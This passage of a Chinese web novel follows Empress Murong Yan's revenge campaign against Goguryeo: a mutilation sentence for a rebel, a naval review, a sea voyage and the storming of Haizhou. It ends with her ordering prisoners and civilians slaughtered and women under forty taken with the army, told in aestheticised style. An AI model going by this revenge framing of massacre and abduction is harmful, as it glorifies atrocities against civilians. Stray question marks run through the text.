她低下头,?看向金武成,?眼中,?终于闪过一丝毫不掩饰的,?残酷的杀意。 “拖出去,跪在府衙门口,向铁山城所有枉死的受辱的百姓磕头赔罪。”她一字一顿地命令道,“直到他们觉得够了为止!” 禁军士兵立刻如狼似虎地将瘫软的金武成拖出大堂,扔在府衙门前的台阶下,强迫他朝着聚集的百姓跪下。 起初,百姓们只是恐惧地看着,但随着第一个人扔出石块,随着第一个失去亲人的老妪发出撕心裂肺的哭喊,积压的仇恨如同火山般爆发了! 烂菜叶、泥土、石块甚至有人冲上前撕打唾骂! 金武成在百姓的怒火中,头破血流,惨叫声不绝于耳。 慕容嫣站在府衙门槛之内,?冷冷地注视着门外的一切。 寒风吹动她的大氅和发丝,她却纹丝不动。 那墨金色的身影,?成为了这场血泪审判的背景。 不知过了多久,门外的声浪渐渐平息,只剩下金武成微弱的呻吟。 百姓们的怒火,在宣泄之后,化为了麻木与更深的悲恸。 慕容嫣这才缓缓开口,?声音清晰地传遍广场?:“百姓的冤屈需要血来洗刷,朕今日便给你们一个交代!” 她转身,?对身后的林臻,?以及侍立一旁的军法官,?说出了那个令人毛骨悚然的判决?: “逆酋金武成,罪大恶极,磔刑不足以泄愤,传朕旨意,施以人彘之刑,割舌剜目,熏聋断其四肢置于瓮中,悬于北城门示众,朕要让他求生不得求死不能,亲眼看着我大乾王师如何踏平高句丽,以儆效尤!” “人彘”二字一出,整个广场瞬间死寂! 连林臻的瞳孔都微微收缩! 这是上古酷刑,极其残忍! 但看着慕容嫣那冰冷决绝的眼神,无人敢出声质疑。 “遵旨!”军法官凛然应命,立刻带着行刑手上前。 慕容嫣不再看门外即将发生的血腥一幕。 她转身,?向堂内走去。 就在她转身的刹那—— 动作带着一种完成审判后的决绝与冷酷! 那迤逦在地、沾染了堂内尘埃的五丈墨金色拖尾因这迅猛的回转被猛地带起! 如同地狱凤凰挥动它的死亡之翼,?唰啦一声,?扫过冰冷的石板?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在昏暗堂内却仿佛燃烧着幽冥鬼火的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出诡异而耀眼的金芒,那金光不再象征祥瑞,而是充满了复仇的戾气与绝对权力的残酷! 这惊鸿一瞥,仿佛是来自深渊的凝视,宣示着与一切敌人不死不休的决绝! 裙摆落下,将那片诡异的金光与门外即将开始的酷刑一同隔绝。 慕容嫣步入了大堂深处,?将门外的惨叫声与百姓的哭泣声,?都关在了身后。 她走到舆图前,?伸出手指,?点在了高句丽王都平壤的位置上,?指尖戴着墨玉扳指,?冰冷而稳定。 林臻默默跟了进来,?站在她身后。 他能听到门外隐约传来的、金武成非人的惨嚎,也能感受到身前人那看似平静的外表下,汹涌的杀意与复仇的快意。 “夫君,”慕容嫣没有回头,?轻声说,?声音带着一丝疲惫,?却更深的冰冷,“传令三军,休整一日,后日兵发鸭绿江,朕要高句丽血债血偿。” “是。”林臻沉声应道。 第958章 再来武清工业区 圣徽二年,元月二十八。 铁山城的血腥气息尚未完全消散,慕容嫣复仇的剑锋已指向更遥远的东方。 在留下部分军队肃清残敌、安抚百姓后,她并未在辽东多做停留,而是率领主力,水陆并进,直抵帝国北方最重要的海陆枢纽——武清工业区。 这里,与辽东的肃杀截然不同。 虽同样是寒冬,但濒临海湾的武清,空气中弥漫着海水特有的咸腥与煤炭燃烧后混合着金属锻造的独特气味。 巨大的烟囱耸立,喷吐着滚滚浓烟,厂房林立,传来阵阵机械的轰鸣与锻锤敲击的巨响。 港口内,桅杆如林,无数大小船只停泊,其中最为显眼的,是数十艘正在舾装或已经下水、船体覆盖着铁甲、露出黑洞洞炮口的崭新战舰——这便是大乾倚重的北洋水师根基所在。 慕容嫣的御驾抵达工业区核心区域时,整个工业区仿佛被按下了暂停键。 在各级官吏和工头的急促命令下,数以万计的工匠、技师、水手、以及驻守的官兵,从各个厂房、船坞、营房中涌出,如同潮水般汇聚到通往总督府衙的宽阔广场及沿街大道上。 人们放下手中的工具,熄灭炉火,停下机器,怀着无比敬畏与好奇的心情,等待着那位传说中身着奇异睡袍、却手段雷霆的女帝。 辰时正,号炮三响,鼓乐齐鸣。 仪仗威严,玄甲禁军开道,慕容嫣的御辇在万众瞩目下,缓缓驶入广场,停在了总督府衙门前的高台之下。 辇帘掀开,先是一身玄色亲王戎装、腰佩长剑的林臻迈步而下,他目光锐利,扫视全场,无形的威仪让喧闹的人群瞬间安静下来。 他并未登上高台,而是肃立在辇侧,微微躬身。 紧接着,那个身影,在两名贴身宫女的搀扶下,优雅地步下御辇。 当她的身影完全展露在冬日稀薄的阳光与工业区特有的灰蒙背景下时,整个广场响起了一片压抑不住的、倒吸冷气的声音! 所有人都睁大了眼睛,被眼前景象所震撼! 慕容嫣! 她果然如传说般,?依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙?! 只是,今日的装扮,为了适应这北方港口初春的严寒与户外场合,?有了新的变化。 ?睡裙之外,?她先罩了一件长及脚踝、以暗金线绣着云龙纹的黑金色苏锦礼仪式霞帔,?霞帔庄重华贵。 然而,?最外层,?却披着一件极其奢华夺目的黑金貂皮披肩?! 这黑金貂皮披肩,?并非纯黑,?而是选取了貂皮中最顶级的、毛色深褐近黑、却在光下隐隐泛着暗金光泽的皮草,?以巧夺天工的技艺拼接而成,?披肩的领口与边缘,?更以细密的黑金丝线绣着微缩的凤羽纹路,?与内里的睡裙图案遥相呼应。? 披肩宽大,?足以裹住肩背,?长及腰际,?既极致保暖,?又与她整体的黑金色系完美融合,?更添一种身处工业粗犷环境中的、令人窒息的尊贵与雍容。 ?神凤降世裙的本体,在这层层叠叠的华服包裹下,依旧不失其独特魅力。 ?极致玄黑的苏锦底料在光线下深邃如夜,织入的金色棉绒与真金线流淌着内敛而威严的辉光。 ?睡裙之上,那只擎天巨凤的轮廓在披肩与霞帔下若隐若现,更显神秘与强大。? 宽大轻盈的喇叭袖在层层袖口下,只露出袖口处精美的金线流苏。 她左手拇指上的墨玉扳指,在貂皮披肩的映衬下,更显温润深邃。 而最引人注目的,依旧是那长达五丈的苏锦拖尾?! 它连同霞帔与貂皮披肩的下摆,?并未经过任何刻意的整理或由宫人抬起,?就那样迤逦地,?甚至可以说带着一种恣意的凌乱,?拖行在总督府衙前冰冷、粗糙、甚至有些油污的花岗岩地面上?! 华贵到极致的墨金色锦缎与貂皮,与这充满钢铁、机油和尘土气息的工业环境,形成了无比强烈、近乎荒诞却又充满压迫感的对比! ?棉质睡裙的柔软概念,与黑金貂皮披肩的极致奢华,在此刻共同构筑了一种超越常理的、绝对的权威象征。 慕容嫣面色平静,?绝美的容颜上带着一丝长途跋涉后的倦意,?但那双凤眸,?却亮得惊人,?扫视全场时,?带着一种审视与掌控一切的威仪。 她在林臻的虚扶下,缓步登上高台。 那凌乱拖行的漫长墨金色轨迹,在她身后划出一道惊心动魄的符号。 登上高台,转身面向下方黑压压的人群。林臻立于她身侧稍后,?如同最忠诚的守护神。 武清总督及一众工部、水师将领早已跪伏在地,山呼万岁。 下方数以万计的工匠、水手、兵士也如梦初醒,纷纷跪倒在地,万岁之声如同海啸,席卷整个工业区,连机器的轰鸣声都被暂时掩盖。 “平身。”慕容嫣微微抬手,?声音清越,?穿透喧嚣。 众人起身,无数道目光聚焦于高台之上那抹独一无二的墨金色身影,充满了敬畏、好奇,或许还有一丝难以言喻的震撼。 慕容嫣没有进行冗长的训话。她的目光,?缓缓扫过下方的人群,?扫过远处船坞中那些庞然的战舰轮廓,?最终落在了跪在前排的水师提督身上。 “朕今日来此。”她开口,?声音不高,?却带着一种奇特的穿透力,?清晰地传入每个人耳中,“不是来欣赏这工业盛景。也不是来听尔等歌功颂德的。” 全场寂静,只有海风呼啸。 “高句丽蛮夷小邦,屡犯天朝,屠我子民,占我疆土,辱我国体。”慕容嫣的语气渐冷,?每一个字都如同冰锥,“此仇不共戴天!” 她的声音中蕴含的杀意,让在场所有人都感到一阵寒意。 “朕已决意亲征高句丽踏平王庭雪此国耻!”慕容嫣凤眸含威,?声音陡然提高,“尔等武清工业区乃帝国水师之根基,战舰火炮皆出于此!今日朕要亲眼看看我大乾的利剑是否已经磨利!我大乾的儿郎是否已经准备好随朕跨海东征!” “万岁!万岁!万岁!”回应她的是山崩地裂般的怒吼,群情激昂! 水师提督激动得浑身颤抖,上前一步,抱拳高声道:“启奏陛下!北洋水师主力战舰三十六艘,辅助船只百余艘,均已整备完毕!将士们枕戈待旦,只等陛下一声令下,便可扬帆起航,直捣黄龙!” “好!”慕容嫣赞许地点点头。 她向前走了几步,?来到高台边缘,?更近距离地看着下方那些肤色黝黑、眼神坚定的水师官兵。 那凌乱的墨金色拖尾,?随之在台面上拖动。 “传朕旨意!”她朗声道,?声音传遍四方,“水师各营即刻起进入战时状态!检查船只武器配足粮草弹药!三日后辰时正于外港集结随朕出征!” “臣等遵旨!誓死效忠陛下!踏平高句丽!”水师将领们轰然应诺,声震云霄。 下达完命令,慕容嫣似乎完成了此行的主要目的。她转身,?对林臻微微颔首。 林臻会意,上前一步,对武清总督吩咐道:“陛下旅途劳顿,需在行辕歇息。尔等需尽心办差,确保出征万无一失!” “臣等谨遵陛下旨意!亲王殿下教诲!”总督连忙叩首。 慕容嫣不再多言,?在林臻的陪同下,?缓步走下高台。 就在她即将踏上御辇的刹那,?似乎心有所感,?她忽然回转身,?再次望向那片巨大的船坞和港口,?望向那些即将承载着她复仇火焰的战舰! 这一回身,动作带着决绝与期盼! 那迤逦在地、沾染了工业区尘土的凌乱墨金色拖尾与披肩下摆因这迅猛的回转被猛地带起! 华贵的锦缎与貂皮如同被海风鼓荡的战旗,?唰啦一声,?在空中划出一道绚烂而充满力量的弧线?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在冬日阳光下璀璨如金鳞跃波的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出耀眼夺目的金芒,尊贵、辉煌,且带着一股即将跨海远征、扫荡群丑的磅礴气势! 这惊鸿一瞥的金光,仿佛是对未来胜利的预言,印入了所有目击者的心中! 裙摆落下,华光内敛于沉静的墨色与厚重的貂皮之下。 慕容嫣弯腰进入御辇,?帘幕垂下。 御驾在禁军的护卫下,缓缓驶向临时行辕。 广场上的人群却久久不愿散去,依旧沉浸在女帝亲临带来的震撼与即将出征的激动之中。 行辕内,慕容嫣卸下了厚重的黑金貂皮披肩和霞帔,?只穿着那身神凤降世裙,?慵懒地靠在软榻上。 林臻为她递上一杯热茶,?低声道?:“嫣儿,三日后海上风浪莫测啊。” 慕容嫣接过茶,?轻轻吹了吹热气,?打断他?:“夫君不必担心。朕等这一天已经等了很久了。” 她的眼中,?闪烁着冰冷而坚定的光芒,“高句丽必须为他们的所作所为付出代价。” 她望向窗外,?仿佛已经看到了波涛汹涌的大海和对岸的敌国。 第959章 船上短暂的温存 圣徽二年,二月初二。 龙抬头之日,帝国北洋水师庞大的舰队,如同一条狰狞的钢铁巨龙,劈波斩浪,航行在渤海通往黄海的冰冷海面上。 海风凛冽,带着刺骨的咸腥味,卷起层层灰白色的浪涛,不断拍打着厚重的船体,发出沉闷的轰鸣。 天空阴沉,铅灰色的云层低垂,仿佛随时会压下了一场暴风雪。 在这支舰队最核心、最庞大的旗舰“定远”号的舰桥后方,有一间特意改造过的、堪称海上行宫的舱室。 舱室四壁以厚重的檀木镶嵌,悬挂着防风的水晶灯,地上铺着厚厚的波斯地毯,角落里的铜制暖炉烧得正旺,散发出融融暖意,将海上的严寒与潮湿隔绝在外。 然而,与这精致环境格格不入的,是脚下甲板传来的、持续不断的、随着波涛起伏的轻微摇晃感。 慕容嫣并未因海上的颠簸而感到丝毫不适。 她慵懒地侧卧在舱室中央一张固定在地板上的、铺着雪白熊皮的软榻上,?身下垫着厚厚的锦褥。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 ?它的华美在这相对狭小的空间内夺目生辉。? 极致玄黑的苏锦底料在舱内温暖的灯火下,呈现出一种柔和而深邃的光泽,织入的金色棉绒与真金线流淌着静谧的暗金波光。 ?睡裙之上,那只擎天巨凤在海上摇曳的灯光下,少了几分平日的凌厉,多了几分慵懒的华贵,凤羽层叠的线条随着她的呼吸微微起伏。 ?宽大轻盈的喇叭袖一只软软垂落榻边,袖口精致的金线流苏拂过熊皮柔软的毛发,另一只则被她随意搭在屈起的膝盖上。 她左手拇指上的墨玉扳指,在光下泛着温润的光泽。 而最引人注目的,依旧是那长达五丈的苏锦拖尾。 在这航行中的舰船舱室内,它无法像在陆地宫室那般恣意铺陈,?却依旧保持着那份独特的“凌乱”?。 大部分迤逦地堆叠在软榻之下,?一部分则顺着榻沿,?蜿蜒流淌在昂贵的地毯上,?甚至有一部分,?因为船只的摇晃,?不时地,?微微滑动一下,?与地毯摩擦发出细微的沙沙声。 这种受限环境下的凌乱,?反而更添了一种真实感与亲密感,?仿佛这华美衣裙已完全融入她的生活,?无论身处何地。 ?棉质的柔软与睡裙的宽松,让她在颠簸的海船上,也能保持最大程度的舒适与放松。 林臻并未穿着戎装,?而是一身玄色常服,?坐在榻边的一张固定好的矮凳上。 他手中拿着一卷书,?却并未观看,?而是专注地看着榻上的慕容嫣。 船舱的摇晃让他需要时不时用手扶一下身边的茶几,但他的目光始终温柔地落在她身上。 “夫君,”慕容嫣微微动了动,?调整了一个更舒适的姿势,?声音带着一丝海风也吹不散的慵懒沙哑,“这船晃得朕有些头晕呢。” 她的语气,?与其说是抱怨,?不如说是撒娇。 林臻立刻放下书卷,伸手为她轻轻按摩着太阳穴,指尖力道恰到好处:“海上风浪是大些,难免颠簸。嫣儿若是觉得不适,不如闭上眼睛歇息片刻,为夫给你读会儿书?” 他的声音低沉温柔,与舱外呼啸的风浪形成鲜明对比。 慕容嫣享受地眯起眼,?像只被顺毛的猫儿,?轻轻“嗯”了一声?:“不要念那些枯燥的兵书,换本游记或者诗词吧。” “好。”林臻从茶几上拿起另一本装帧精美的诗集,翻开一页,用他醇厚而富有磁性的嗓音,低声吟诵起来。 是他的诗词,辞藻清丽,意境悠远,与此刻舱内的温情氛围相得益彰。 慕容嫣静静地听着,?长睫在眼睑下投下淡淡的阴影。 偶尔听到妙处,她会嘴角微微上扬,?露出一个极淡的,?却真实的笑意。 船舱摇晃,灯火摇曳,他的声音是这不安定环境中唯一的安定剂。 一首诗罢,林臻放下诗集,?看向慕容嫣,?发现她正睁着那双凤眸,?亮晶晶地看着自己。 “夫君,你念得真好听。”她的声音带着一丝依赖,“比宫里的乐师弹的曲子还好听。” 林臻心中柔情满溢,俯身在她额上印下一个轻柔的吻:“嫣儿喜欢,为夫便天天念给你听。” 慕容嫣伸出手,?握住他放在榻边的手,?指尖微凉。“只要和夫君在一起在哪里都是好的。” 她将他的手拉到自己脸颊边,?轻轻蹭了蹭,?那身神凤降世裙的柔软面料,?摩擦着他的手背。 就在这时,船身猛地一个较大的摇晃! 茶几上的茶杯险些翻倒,林臻眼疾手快地扶住。 慕容嫣也随着晃动轻呼一声,?下意识地抓紧了他的手。 “别怕,只是浪大了些。”林臻稳住身形,反手紧紧握住她的手,柔声安慰。 慕容嫣借着他的力道,?坐起身来。 那迤逦在榻下的墨金色拖尾随着她的动作滑落更多在地毯上。 她靠进林臻的怀里,?双臂环住他的腰,?将脸埋在他胸前,?闷闷地说?:“有夫君在朕才不怕。” 林臻将她紧紧拥住,?用自己坚实的身躯为她抵挡着船只的摇晃。 舱外是浩瀚无边、喜怒无常的大海,是即将到来的血腥战争,但在这小小的、温暖的舱室内,却只有相拥的两人和彼此的心跳声。 那身神凤降世裙的墨金色泽,在灯火下静静流淌,仿佛将这惊涛骇浪中的方寸之地,化作了只属于他们的世外桃源。 过了好一会儿,船身渐渐平稳。慕容嫣从他怀里抬起头,?凤眸中水光潋滟,?带着一丝狡黠?:“夫君,朕饿了,想吃你亲手做的银丝卷。” 在这远航的战舰上,提出这样的要求,近乎任性。但林臻却毫不犹豫地点头:“好,为夫这便去小厨房给嫣儿做。” 旗舰上配有专门的小厨房,以备不时之需。 他轻轻将她放回榻上,?为她掖好熊皮褥子,?这才起身。 慕容嫣看着他走向舱门的背影,?嘴角噙着温柔的笑意。 就在林臻即将拉开舱门的刹那,慕容嫣忽然唤道?:“夫君!” 林臻回头。 慕容嫣从榻上跪坐起来,?看着他,?很认真地说?:“小心些别烫着。” 林臻心中一暖,?点头笑道?:“知道了,我的陛下。” 他拉开舱门,一股带着海腥味的冷风灌入,随即舱门关上,隔绝了内外。 慕容嫣独自留在温暖的舱室内,?听着门外隐约传来的风浪声和脚步声渐远。 她重新躺下,?拉过熊皮褥子盖好,?鼻尖似乎还能闻到林臻身上熟悉的气息。 她闭上眼,?感受着身下船只规律的摇晃,?那身神凤降世裙的柔软面料贴着她的肌肤,?带来舒适的触感。 复仇的火焰在心底燃烧,但此刻,更多的是一种被爱与安宁包裹的暖意。 她翻了个身,?面向舱壁,?那凌乱堆叠的拖尾也随之挪动。 在无人看见的角落,她的嘴角,缓缓勾起一抹幸福而满足的弧度。 对于即将到来的风暴,她无所畏惧,因为无论面对什么,都有一个人会始终在她身边。 第960章 攻克海州城 圣徽二年,二月初十。 经过数日海上颠簸,大乾北洋水师庞大的舰队,终于抵达高句丽西海岸,兵锋直指其重镇——海州城。 此城乃高句丽西部门户,城高池深,守军约有万余,凭险而守,企图将大乾军队阻挡于海岸之外。 清晨,海雾未散,冰冷的海风卷着细沙,拍打着漫长的海岸线。 无数艘登陆小艇,如同离弦之箭,冲破浅滩的浪花,狠狠扎在沙滩上。 身披黑色重甲的大乾精锐步兵,如同潮水般涌上海岸,迅速整队,刀枪如林,在晨雾中闪烁着寒光。 更远处,庞大的战舰如同浮动的山峦,侧舷炮口森然,对准了远处的海州城墙。 慕容嫣并未留在安全的旗舰上。 在先锋部队成功建立滩头阵地后,她坚持要亲临前线。 一匹神骏的黑色战马被小心地运送上岸,慕容嫣翻身上马,?身披那件奢华保暖的黑金貂皮披肩,?披肩之下,?依旧是那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?外面罩着便于骑乘的剪裁利落的黑金色苏锦骑射服式霞帔。 为了适应战场行动,那长达五丈的苏锦拖尾被精心折叠束起大部分,但仍有一截凌乱地垂落在马鞍之后,?随着战马的移动,?在沙滩和后续的泥地上,?拖曳出一道惊心动魄的墨金色痕迹。 ?神凤降世裙在沿海清晨的阴霾天光下,呈现出一种与战场环境既冲突又融合的奇异观感。 ?极致玄黑的苏锦底料吸吮着微弱的光线,色泽沉静如铁,织入的金色棉绒与真金线则泛着冷硬的暗金光泽,与士兵的甲胄遥相呼应。 ?睡裙之上,那只擎天巨凤在战马驰骋间,仿佛随时欲破衣而出,带着沙场的戾气。? 宽大轻盈的喇叭袖被收束在骑射服袖口内,她左手紧握缰绳,?拇指上的墨玉扳指在肃杀的氛围中显得格外冷峻。? 棉质的柔软与睡裙的概念,在这铁血沙场上,被赋予了坚韧不屈的象征意义。 那件黑金貂皮披肩更是为她抵挡着沿海的寒风,毛色在风中微动,华贵而威严。 林臻一身玄铁重甲,?手持长槊,?骑着一匹枣红马,?寸步不离地护卫在她身侧,?目光锐利地扫视着周围任何可能存在的危险。 皇帝陛下如此装扮亲临前线,既是巨大的鼓舞,也是极大的风险。 大军迅速推进至海州城下三里处,列阵完毕。城头之上,高句丽守军严阵以待,箭矢、滚木礌石清晰可见,守将的身影在垛口后晃动,气氛紧张到了极点。 慕容嫣勒住战马,?立于中军大纛之下。她举起一只戴着皮质护手的纤手。 身后,令旗挥动! “轰!轰!轰——!” 停泊在海上的战舰万炮齐鸣! 黑色的炮弹如同死亡的蜂群,掠过天空,带着刺耳的尖啸,狠狠地砸向海州城的城墙和城头! 顿时,砖石飞溅,烟尘冲天,城头上响起一片鬼哭狼嚎! 高句丽守军何曾见过如此猛烈的炮火? 瞬间被打懵了! 炮火覆盖之后,大乾步兵方阵开始踏着整齐而沉重的步伐,向前推进。 盾牌如墙,长枪如林,弓弩手紧随其后,杀气腾腾! 城头守军从最初的混乱中勉强恢复,箭矢如雨点般落下,但在大乾坚固的盾阵和盔甲面前,收效甚微。 攻城车、云梯迅速抵近城墙,惨烈的登城战开始了! 慕容嫣端坐马上,?面无表情地注视着前方的血腥厮杀。 喊杀声、兵刃碰撞声、垂死哀嚎声不绝于耳。 她看得极其专注,?仿佛在欣赏一幅宏大的画卷,?唯有偶尔微蹙的眉头,?显示她并非无动于衷。 林臻始终护在她身边,?警惕地注视着流矢和任何可能的突袭。 战斗持续了约一个时辰,城墙上多处已被大乾士兵突破,但高句丽守军抵抗异常顽强,双方在城头展开惨烈的拉锯战,伤亡不小。 慕容嫣的耐心似乎渐渐耗尽。 她从马鞍旁的得胜钩上,?取下了一柄装饰华丽但明显是实战兵器的凤嘴长枪。 枪锋在阴沉的天空下,泛着幽冷的光泽。 “陛下!”林臻看出她的意图,急忙出声。 “朕要亲自上去。”慕容嫣的声音平静,?却带着不容置疑的决断,“将士们流血朕不能只在后面看着。” 说罢,她一夹马腹,?竟策马向前阵冲去?! 林臻大惊,急忙率亲卫队紧随其后! 皇帝陛下亲自冲锋! 这个消息如同最有效的兴奋剂,瞬间点燃了所有大乾将士的斗志! “陛下万岁!”的呼喊声响彻战场,士兵们如同打了鸡血,攻势陡然加剧! 慕容嫣骑马直接冲到了一架最为坚固的云梯车下?! 她翻身下马,?动作矫健得完全不似久居深宫的女子?! 那凌乱垂落的墨金色拖尾在泥泞的地面上扫过,?沾染了血污和尘土。 “掩护陛下!”林臻厉声喝道,亲自持槊护卫在云梯旁。 慕容嫣手持长枪,?竟沿着云梯,?向上攀去?! 她的身影,?在那墨金色睡裙和华贵披肩的映衬下,?在硝烟弥漫的战场上,?成为了一道无比醒目又无比诡异的风景?! 城头的高句丽士兵都惊呆了,甚至忘了放箭! 趁此机会,更多的大乾士兵涌上城头! 慕容嫣刚踏上城头垛口,一名高句丽悍将便挥刀扑来! 她凤眸一冷,?不闪不避,?凤嘴枪精准地一格一挑,?顺势一抹?! 枪锋划过对手的咽喉,带出一蓬热血!动作干净利落,毫不拖泥带水! 她毫不停留,?挥舞长枪,?杀入敌群?!那身神凤降世裙在刀光剑影中飘舞,?黑金貂皮披肩在厮杀中飞扬,?她如同一位降临战场的华丽杀神,?所到之处,?高句丽士兵纷纷倒地?!她的武艺或许不及林臻那般霸道,但胜在精准、狠辣,且带着一种不容侵犯的威严! 林臻紧随其后,?如同她的影子,?将她周围威胁尽数清除。 帝后二人,一主一辅,在城头掀起一片血雨腥风! 大乾将士士气如虹,终于彻底压垮了守军的意志。 海州城守将见大势已去,试图逃跑,被林臻一箭射中小腿,生擒活捉。 午时刚过,海州城头,残存的高句丽旗帜被抛下,巨大的圣徽凤旗,在无数将士的欢呼声中,缓缓升起,迎风飘扬! 慕容嫣独立在城楼最高处,?俯瞰着城内逐渐平息的战火。 她的黑金貂皮披肩上溅上了点点血污,?睡裙的裙摆和那截拖尾更是凌乱不堪,?沾满了泥泞与血渍。 寒风拂过,吹动她的发丝和披肩的绒毛。 林臻走到她身边,?低声禀报战况?:“嫣儿,海州城已克,歼敌八千,俘获两千余,我军伤亡三千。” 慕容嫣微微颔首,?目光依旧望着远方,?那里是高句丽的腹地。 她缓缓开口道?:“传令,厚葬阵亡将士,妥善安置伤员。” 她的声音带着一丝疲惫,但更多的是冰冷的坚定。 就在这时,她似乎听到了城内某处传来的百姓惊恐的哭声,?眉头微蹙,就在她转身的刹那—— 动作带着胜利后的审视与新的决断! 那沾染血污、凌乱垂落的墨金色拖尾与披肩下摆因这迅猛的回转被猛地带起! 如同浴火凤凰审视它的战利品,?唰啦一声,?在城楼布满血渍的地面上扫过?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在战后惨淡天光下依然璀璨夺目、仿佛凝聚了胜利光辉的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪耀,金光流淌,尊贵、辉煌,且带着踏破敌国第一道防线后的、不容置疑的征服者姿态! 裙摆落下,将金光与战场的残酷一同掩盖。 慕容嫣迈步走下城楼。 她的脚步踏在满是瓦砾和血迹的台阶上,沉稳而坚定。 那身神凤降世裙,尽管沾染了战场的污秽,却更显其主人的权威与力量。 第961章 女子随军,男子全屠 圣徽二年,二月十一,海州城破的第二日。 昨日的厮杀声已然平息,但一种更深沉、更令人窒息的死寂笼罩了这座城池。 空气中弥漫的不再是硝烟,而是浓得化不开的血腥气,以及一种源自绝望的恐惧。 城墙之上,圣徽凤旗高高飘扬,但其下,却是人间炼狱般的景象。 慕容嫣并未在舒适的行辕中安坐。 天色微明,她便出现在了海州城原守备府衙的庭院中。 庭院内,昨夜战斗的痕迹尚未完全清理,瓦砾间依稀可见暗红的血渍。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?外面罩着那件沾满了昨日攻城战尘污的黑金色苏锦骑射服式霞帔,?最外层,?则披着那件华贵却同样沾染了战场气息的黑金貂皮披肩。 寒风卷过庭院,吹动披肩的绒毛,也带来城中隐约的哭喊与哀嚎。 她屏退了左右,?只留下林臻一人。 林臻依旧一身戎装,?沉默地站在她身后几步远的地方,?面色沉凝,?目光复杂地看着她的背影。 他知道,昨日的胜利,并未平息她心中积郁的怒火与仇恨,反而因为亲眼目睹了守军的顽强抵抗和己方将士的伤亡,而更加炽烈。 慕容嫣静静地站着,?目光扫过庭院的残破,?仿佛能穿透墙壁,?看到城中那些负隅顽抗最终被歼灭的高句丽士兵的尸体,?看到那些在巷战中倒下的大乾儿郎。 她的脑海中,?更不断回响着从铁山城传来的,?关于高句丽人如何屠戮凌辱大乾百姓的密报。 “夫君,”她忽然开口,?声音沙哑,?带着一丝彻夜未眠的疲惫,?但更多的是一种冰冷的坚硬,“你说昨日攻城我军伤亡几何?” 林臻心中一凛,沉声答道:“回嫣儿,初步清点,阵亡两千七百余人,重伤五百余,轻伤无数。”每一个数字,都代表着一条鲜活的生命。 慕容嫣沉默了片刻。 她缓缓抬起手,?用戴着墨玉扳指的指尖,?轻轻拂过霞帔袖口上一处已经干涸发黑的血迹。 那不是她的血,是昨日在城头厮杀时,溅上的敌人的血。 “两千七百,”她轻声重复着这个数字,?每一个字都像是从冰窖中捞出,“还有铁山城那些枉死的百姓,他们的血不能白流。” 她猛地转过身,?看向林臻,?凤眸之中,?再无昨日的丝毫温情,?只剩下一种近乎疯狂的,?冰冷的杀意?! 那迤逦在庭院冰冷地面上的墨金色拖尾,?随着她的转身,?在尘埃和瓦砾间摩擦,?发出令人心悸的沙沙声。 “传朕旨意!”慕容嫣的声音陡然拔高,?如同金铁交击,?刺破了清晨的寂静,“海州城内凡高句丽兵卒无论投降与否,尽数屠戮!一个不留!” 林臻瞳孔骤缩!“嫣儿!城中尚有数千俘虏!且城中还有大量高句丽平民!此举有伤天和,恐损陛下圣名,亦会激起高句丽更激烈抵抗!” “圣名?天和?”慕容嫣嗤笑一声,?笑容冰冷而残酷,“高句丽人屠我铁山城时可曾讲过天和?!他们凌辱朕的子民时可曾在意过圣名?!朕就是要用这海州城的血告诉高句丽上下犯我大乾者是什么下场!朕要让他们听到朕的名字就瑟瑟发抖!要让这血浇灭他们最后一丝反抗的念头!” 她的语气斩钉截铁,不容置疑。 那身神凤降世裙,在晨光中泛着冷硬的光泽,?黑金貂皮披肩上的血迹仿佛活了过来,散发出血腥味。 “可是,”林臻还想再劝。 “没有可是!”慕容嫣厉声打断他,?眼中燃烧着复仇的火焰,“执行命令!立刻!马上!” 看着慕容嫣那决绝而陌生的眼神,林臻知道,任何劝谏都是徒劳的。 他深深地吸了一口冰冷的空气,压下心中的翻腾,单膝跪地,沉声道:“臣,遵旨。” 命令迅速被传达下去。 起初,是零星的惨叫和求饶声,很快,这些声音就如同投入滚油的火星,瞬间引燃了整个海州城! 屠杀,开始了。 慕容嫣并未回避。 她甚至命令侍卫搬来一张胡床,?就放置在府衙庭院地势较高处。 她端坐其上,?身姿挺拔,?面无表情地,??“欣赏”着这场由她亲手导演的血腥盛宴。 府衙位于城中心,惨叫声、兵刃砍杀声、房屋倒塌声、火焰燃烧的噼啪声从城市的各个方向传来,清晰地涌入庭院。 浓烟开始在城市各处升起,遮天蔽日,连阳光都变得昏暗。 不时有浑身浴血的将领前来禀报进展: “报!西门俘虏营三千高句丽兵,已全部处决!” “报!城东负隅顽抗的残敌已被清剿!” “报!北城区发现大量高句丽平民聚集,如何处置?” 每一次禀报,慕容嫣都只是冷冷地吐出两个字?:“四十岁以下女子带走随军,其余全部杀光。” 她的目光,?透过庭院的门洞,?似乎能看到街道上流淌的鲜血,?能看到堆积如山的尸体。 她的脸上,?没有任何怜悯,?只有一种近乎神性的冰冷,?一种用无数生命来献祭的残酷平静。 那身墨金色的神凤降世裙,?在这血腥的背景映衬下,?仿佛不再是人间服饰,?而是地狱阎罗的袍服。 那凌乱拖曳在地的拖尾,?似乎也浸染了无形的血海。 林臻按剑立在胡床旁,?脸色苍白。 他经历过无数沙场血战,但如此系统、如此冷酷地屠杀已经失去抵抗能力的俘虏和平民,依然让他感到胃里一阵翻涌。 他看着端坐的慕容嫣,看着她身上那件华美而诡异的睡裙,第一次感到了一种发自心底的寒意。 他的嫣儿,似乎正在被仇恨吞噬。 屠杀持续了整整数天。 这天黄昏时分,城中的喧嚣渐渐平息,不是因为仁慈,而是因为活着的高句丽人,已经所剩无几。 整座海州城,如同死城,只有火焰燃烧的噼啪声和大乾士兵清理战场的脚步声。 慕容嫣终于从胡床上站起身。 她缓缓踱步,?走到庭院门口。门外,是一条曾经繁华的街道,此刻,尸横遍地,血流成河,残垣断壁间,余烬未熄。 夕阳如血,将天空和她墨金色的身影都染上了一层凄艳的红光。 她静静地看了许久。 然后,她转过身,?准备返回府衙内部。 就在她转身的刹那—— 动作带着一种完成巨大献祭后的空虚与决绝! 